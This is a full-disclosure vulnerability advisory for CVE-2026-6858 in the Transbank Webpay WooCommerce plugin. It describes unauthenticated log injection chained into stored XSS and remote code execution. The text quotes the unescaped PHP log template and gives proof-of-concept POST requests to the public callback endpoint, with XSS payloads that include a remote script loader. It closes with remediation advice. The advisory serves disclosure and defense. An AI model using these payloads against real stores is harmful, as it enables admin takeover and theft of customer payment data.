Full Disclosure ID: HA-2026-00201

CVE-2026-6858 - Unauthenticated Log Injection chained with Stored Cross-site Scripting (XSS) leads to Remote Code Execution (RCE) in `Transbank Webpay` plugin version `1.12.2` and `1.13.0`

Joshua Provoste Security Researcher

Published July 21, 2026

Severity (CVSS 3.1) 10.0 (CRITICAL)

Target Transbank Webpay Plus REST / WooCommerce

Plugin Page (WordPress.org) CVE-2026-6858

Important

The following documents the chaining of two distinct vulnerabilities, (1) Unauthenticated Log Injection and (2) Stored Cross-site Scripting (XSS), whose technical impact results in Remote Code Execution (RCE).

Introduction

Since Transbank Webpay is a plugin that executes in the context of WooCommerce, an e-commerce plugin, an attacker could exploit this vulnerability to steal sensitive user information, such as credit card data, personal information, etc., and it is required for reproducing the step-by-step described below.

This means that it is recommended to configure both plugins in such a way that it allows for the reproduction of the step-by-step described below, having previously carried out a test transaction (fictitious not real), using the test data provided by Transbank for this purpose:

Transbank test environment configuration

Vulnerability Description

The Transbank Webpay plugin implements a logging system for diagnostic and auditing purposes. This system is designed to capture and store detailed information about transactions processed through the Transbank payment gateway. The logging functionality is automatically activated when the plugin receives requests through its API endpoints, including the return (callback) endpoint of Webpay Plus.

The vulnerable code in `templates/admin/log.php`:

111: $logContent .= '<pre class="log-line">' . $date . ' > ' .
112:     '<span class="log-' . strtolower($level) . '">' . $level . '</span> > ' . $message .
113:     '</pre>';

The vulnerability lies in the lack of neutralization of HTML special characters before rendering. The code directly concatenates the $message variable (which contains raw log data, for example, the payload of a POST request) into an HTML output block. By not using escaping functions such as esc_html() or htmlspecialchars(), the browser interprets any HTML tags or event attributes (JS) present in the log as executable code. Since the logs fully capture unauthenticated external requests, an attacker can inject XSS vectors that will execute with administrator privileges when viewing the diagnostics section.

Why this XSS bug is a Security Vulnerability?

The Transbank Webpay plugin does not perform adequate sanitization of the data recorded in the logs. This allows an attacker to inject malicious code into the plugin logs, which can lead to the execution of malicious code on the server.

Furthermore, the Transbank Webpay plugin enables a payment gateway that allows the processing of financial transactions, making it a critical target for attackers, as it allows not only total server control but also access to credit and debit card information, personal data, and even the eventual modification of financial transactions.

Impact

The impact of this vulnerability is critical due to the chaining of two fundamental flaws: (1) the lack of sanitization in the registration of public requests and (2) the insecure rendering of such logs in the administrative panel. As it is an anonymously accessible endpoint, an attacker can inject malicious code without needing credentials. The XSS execution occurs in the context of an administrator session with elevated privileges, allowing the automation of high-impact administrative actions, such as the silent installation of malicious plugins. This flow culminates in Remote Code Execution (RCE) on the underlying server, granting the attacker total control over the operating system, the WooCommerce database, and the integrity of the entire website.

Attack Scenario

In a realistic attack scenario, a threat actor identifies that the plugin's diagnostic component fully logs requests to the public Webpay return endpoint. The attacker sends a malicious request with an XSS payload designed for persistence. Hours or days later, a site administrator, motivated by reviewing a payment dispute or routine monitoring, accesses the logs section. At that instant, the malicious code executes invisibly, leveraging the active session to exfiltrate WooCommerce customer databases, intercept financial transaction metadata, and automate the loading of a ‘webshell’ or malicious plugin. This attack not only compromises business operational continuity and fund integrity but also places the entity in a position of critical non-compliance with Law 19.628 on Protection of Private Life and Law 21.663 (Cybersecurity Framework Law), by exposing sensitive data of third parties and critical assets due to the absence of preventive controls in handling public logs.

Suggested CVSS Scoring (3.1 and 4.0)

Considering that this attack does not require user interaction in the WordPress panel, and that it is possible to execute WITHOUT any authentication from the attacker, to finally achieve command execution on the server’s operating system and take total control of the system, the following CVSS score is suggested:

Steps to Reproduce

1. An attacker, knowing that the Log Injection vulnerability exists, uses it to permanently store a malicious XSS payload in the plugin logs by executing an HTTP request to the Webpay Plus return endpoint for log viewing:

POST /woo/?wc-api=WC_Gateway_Transbank_Webpay_Plus_REST HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

token_ws=<img src=x onerror=alert(/XSS/)>

2. For their part, the site administrator, as part of their normal work and management monitoring of payments made through the payment gateway, accesses the plugin’s logs section to check the status of transactions, triggering the XSS payload without any interaction other than navigating to the plugin’s logs section:

3. However, this stored XSS injection (without any interaction by the site administrator), allows the attacker to increase criticality through the arbitrary loading of a malicious plugin to execute commands on the operating system and take total control of the system; in this way, the attacker injects an XSS payload for remote loading of an exploit (0.js), as follows:

POST /woo/?wc-api=WC_Gateway_Transbank_Webpay_Plus_REST HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

token_ws=<script src=https://localhost/0.js></script>

4. The site administrator, as part of their normal work and management monitoring of payments made through the payment gateway, accesses the plugin’s logs section to check the status of transactions, triggering the XSS payload without any interaction other than navigating to the plugin’s logs section:

5. This arbitrarily loads a WordPress plugin containing malicious code.

6. And the attacker, for their part, manages to execute commands on the server’s operating system, taking total control of the system.

Executive Summary: XSS to RCE via Unauthenticated Log Injection in `Transbank Webpay`

The research identifies a critical Remote Code Execution (RCE) vulnerability chain in the Transbank Webpay Plus REST WordPress plugin, Chile's most widely deployed payment gateway integration for WooCommerce.

Root Cause: The plugin's logging system in templates/admin/log.php directly concatenates the $message variable into HTML output without applying any escaping function such as esc_html() or htmlspecialchars(). Since the logs capture raw data from unauthenticated public endpoints, any HTML or JavaScript injected via the POST body is rendered as executable code in the administrator's browser.
Exploitation Mechanism: The vulnerability manifests in two chained vectors:
1. Log Injection Vector: The public Webpay callback endpoint (wc-api=WC_Gateway_Transbank_Webpay_Plus_REST) accepts unauthenticated POST requests. The token_ws parameter is logged verbatim, allowing an attacker to permanently store arbitrary HTML/JS payloads in the plugin's diagnostic logs.
2. Stored XSS to RCE: When an administrator views the logs section, the stored XSS payload executes in their privileged session context. This enables the attacker to automate the silent installation of a malicious WordPress plugin containing a webshell, achieving full Remote Code Execution on the underlying server.

Analysis of Scope and Security Implications

This vulnerability is of critical severity, as it impacts the primary payment gateway integration used by WooCommerce stores across Chile.

1. Infection Scenarios

Silent Plugin Installation: The stored XSS payload leverages the administrator's active session to programmatically upload and activate a malicious WordPress plugin. This occurs invisibly during a routine log review, requiring zero additional interaction from the administrator.
Financial Data Exfiltration: Once RCE is achieved, the attacker gains direct access to the WooCommerce database, enabling the extraction of customer PII, order records, transaction metadata, and potentially stored payment tokens processed through the Transbank gateway.

2. Factors Exacerbating Risk

Unauthenticated Entry Point: The exploitation begins from a completely unauthenticated endpoint. Any internet-facing WordPress site with the plugin installed is immediately at risk, with no credentials or valid session required from the attacker.
National Payment Infrastructure: Transbank is the dominant payment processor in Chile. The plugin's deployment footprint spans retail, financial services, healthcare, and government-adjacent entities, making this vulnerability systemic in scope.
Persistent Payload: Unlike reflected XSS, the stored nature of this injection guarantees re-execution every time any administrator views the logs. The payload persists until the log files are manually purged, enabling long-term persistence.
Regulatory Exposure: A breach stemming from this vulnerability places affected entities in critical non-compliance with Chilean Law 19.628 (Protection of Private Life) and Law 21.663 (Cybersecurity Framework Law), triggering mandatory incident reporting obligations and potential sanctions.

Conclusion and Recommendation

This is a critical-severity vulnerability chain. The total absence of defensive sanitization layers on a public-facing endpoint that feeds directly into a privileged administrative interface makes this plugin a significant security liability for every WooCommerce store in Chile that processes Transbank payments.

Suggested actions for the development team:

Sanitize Log Output: Apply esc_html() or equivalent escaping to all data rendered in the admin log view, especially the $message variable in templates/admin/log.php.
Sanitize at Ingestion: Apply input sanitization at the point of log ingestion, not only at display time, using sanitize_text_field() or htmlspecialchars() before writing to the log file.
Implement Content Security Policy (CSP): Configure a strict CSP header on WordPress admin pages to restrict the execution of unauthorized inline scripts and external script sources, mitigating the impact of any residual XSS vectors.
Restrict Log Visibility: Ensure the diagnostics log interface requires explicit capability checks (e.g., manage_options) and is never exposed to lower-privilege roles.
Update Immediately: Apply the patch provided by Transbank developers as soon as it becomes available, and consider temporarily disabling the log viewer until the fix is deployed.